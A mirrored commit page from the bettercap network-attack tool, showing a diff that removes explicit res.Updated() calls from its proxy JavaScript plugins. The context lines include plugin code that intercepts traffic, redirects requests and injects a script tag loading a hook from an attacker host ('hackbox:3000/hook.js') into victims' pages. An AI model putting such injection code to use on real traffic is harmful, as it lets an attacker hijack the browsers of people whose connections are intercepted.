mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 02:36:57 -07:00
fix: no more explicit call to that ugly Updated method from proxy js plugins
This commit is contained in:
parent
3c2932514a
commit
adc2dde170
7 changed files with 26 additions and 16 deletions
|
@ -11,7 +11,6 @@ function onResponse(req, res) {
|
|||
'</head>',
|
||||
'<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>'
|
||||
);
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -19,6 +19,5 @@ function onRequest(req, res) {
|
|||
res.Status = 301;
|
||||
res.Headers = "Location: https://www.facebook.com/\n" +
|
||||
"Connection: close";
|
||||
res.Updated()
|
||||
}
|
||||
}
|
||||
|
|
|
@ -26,7 +26,6 @@ function onRequest(req, res) {
|
|||
res.ContentType = "text/html";
|
||||
res.Headers = "Connection: close";
|
||||
res.Body = "";
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -42,7 +41,6 @@ function onResponse(req, res) {
|
|||
'</script>' +
|
||||
'</head>'
|
||||
);
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -18,8 +18,6 @@ function onRequest(req, res) {
|
|||
"<div align=\"center\">Hello world from bettercap-ng!</div>" +
|
||||
"</body>" +
|
||||
"</html>";
|
||||
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -37,6 +35,5 @@ function onResponse(req, res) {
|
|||
"<div align=\"center\">Custom 404 from bettercap-ng.</div>" +
|
||||
"</body>" +
|
||||
"</html>";
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
|
|
|
@ -5,6 +5,4 @@ function onRequest(req, res) {
|
|||
res.ContentType = "text/html";
|
||||
res.Headers = "Connection: close";
|
||||
res.Body = readFile("caplets/www/index.html");
|
||||
|
||||
res.Updated();
|
||||
}
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue